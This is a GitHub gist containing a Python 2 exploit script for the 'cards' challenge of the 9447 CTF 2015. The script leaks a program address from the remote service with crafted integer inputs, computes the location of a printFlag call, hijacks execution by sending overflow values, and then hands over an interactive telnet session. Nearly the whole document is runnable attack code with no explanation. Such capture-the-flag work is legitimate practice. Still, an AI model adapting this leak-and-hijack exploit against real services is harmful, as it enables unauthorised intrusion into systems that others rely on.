Skip to content

Instantly share code, notes, and snippets.

@mrexcessive
Created November 30, 2015 12:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mrexcessive/2691d6de22b84e4036f3 to your computer and use it in GitHub Desktop.
Save mrexcessive/2691d6de22b84e4036f3 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
#pwnserver.py for 9447 CTF 2015 exploit / cards
#Whitehatters-uk
import os, sys, code
import readline, rlcompleter
import socket
import time
import struct
import telnetlib
SERVER = "cards-6xvx9tsi.9447.plumbing" # the actual challenge server
PORT = 9447
pauseDebugging = True # use this when debugging locally
goTelnetAtEnd = True # enable once you have some kind of expectation that it isn't all screwed up
# and you might actually get a shell
p = lambda x: struct.pack("<L", x) # from https://gist.github.com/soez/4ee5eb07d4a3982815ad
u = lambda x: struct.unpack('<L', x)[0]
p64 = lambda x: struct.pack("<Q", x)
u64 = lambda x: struct.unpack('<Q', x)[0]
localtest = False
if localtest:
#TESTING LOCALLY
SERVER = "localhost"
PORT = 1337
debug = True
alphanums = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
printables = alphanums + ".,<>?/!$%^&*()_-+=@'#][{}`#"
s = None # socket
old_data = "" # response data not yet processed
def HexPrint(what):
#expects list of ints
col = 0
oplineA = ""
oplineB = ""
for c in what:
b = ord(c)
oplineA += "%02x " % b
if not c in printables:
c = '.'
oplineB += c
if col == 7:
oplineA += "- "
col += 1
if col >= 16:
print oplineA + ' ' * (53-len(oplineA)) + oplineB
oplineA = ""
oplineB = ""
col = 0
if oplineA <> "": # final line if any
print oplineA + ' ' * (53-len(oplineA)) + oplineB
def DoConnect():
global s
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SERVER,PORT))
assert(s <> None)
def GetResponse(expect="\n",timeout=0.1):
global s, old_data
s.setblocking(0)
total_data=old_data
old_data = ""
begin = time.time()
while True:
if total_data <> "" and time.time() - begin > timeout: # wait timeout sec if we have something
break
elif time.time() - begin > timeout * 2: # wait 2xtimeout if nothing
break
try:
data = s.recv(1024)
if data:
total_data += data
if expect in total_data:
total_data, old_data = total_data.split(expect,1)
total_data += expect
break
begin = time.time()
else:
time.sleep(0.01)
except:
pass
return total_data
def Send(v):
if debug:
sys.stdout.write(v)
sys.stdout.flush()
s.sendall(v)
def Pwn_Exfil(turns):
r = GetResponse(expect="stop)") # throw initial response
HexPrint(r)
for i in xrange(1,turns+1):
v = 0xffffffffffffffff
if i <> 0: # XXX i %2 == 0
v = -v
Send("%i\n" % v)
r = GetResponse(timeout=0.1)
if r <> "":
sys.stdout.write(r)
sys.stdout.flush()
if turns < 52:
Send("0\n")
r = GetResponse(expect="to play:",timeout=0.2)
print r
if "left:" in r:
drop,r = r.split("left:\n",1)
keep,drop = r.split("\nEnter the",1)
nums = keep.split(" ")
vals = []
for n in nums:
if n <> "":
v = int(n)
vals.append(v)
if v <> -0x8000000000000000:
print "%16x" % v
else:
sys.stdout.write("-") # note MINVAL
sys.stdout.flush()
# Play the game
for i in xrange(0,turns):
Send("%i\n" % i)
r = GetResponse(expect="to play:",timeout=0.1)
print r
# return the exfil'd address
print "VALS:%s" % vals
return vals[1]
def Pwn_Segfault(jumpto_addr):
# make execution go to jumpto_addr ....
r = GetResponse()
print "Before PwnSegfault:%s" % r
pwntab = []
if False:
pwntab.append( 999999999999999999999999999999999999999999 )
pwntab.append(-99999999999999999999999999999999999999 )
pwntab.append( 2222222222222222222222222222222222 )
pwntab.append(-222222222222222222222222222222222222 )
pwntab.append( jumpto_addr )
pwntab.append(-333333333333333333333333333333333333 )
pwntab.append( 88888888888888888888888888888888888888 )
if True:
v = 88888888888888888888888888888888888888
pwntab.append(v)
pwntab.append(-v)
pwntab.append(v)
pwntab.append(-v)
pwntab.append(v)
pwntab.append(-v)
pwntab.append( jumpto_addr )
pwntab.append(0)
for v in pwntab:
Send("%i\n" % v)
r = GetResponse()
print r
r = GetResponse(expect="", timeout=2)
print r
def PwnServer():
while (1):
addr_start = Pwn_Exfil(5) # this finds location of <_start>
if addr_start & 0xffffff == 0: # FAIL
DoConnect()
else:
print "Got IO addr = %16x" % addr_start
# addr_printFlag = addr_start + 0x4a6 # offset 0x4a6 from _start to printFlag
addr_printFlag = addr_start + 0x4a6 + (0xe70 - 0xd90) # the call to printFlag, not the actual function
print "Determined printFlag = %16x" % addr_printFlag
if localtest and pauseDebugging:
print "Attach debugger then press <Enter>"
raw_input()
Pwn_Segfault(addr_printFlag)
break
if __name__ == "__main__":
vars = globals()
vars.update(locals())
readline.set_completer(rlcompleter.Completer(vars).complete)
readline.parse_and_bind("tab: complete")
shell = code.InteractiveConsole(vars)
DoConnect()
PwnServer()
if goTelnetAtEnd:
t = telnetlib.Telnet()
t.sock = s
t.interact()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment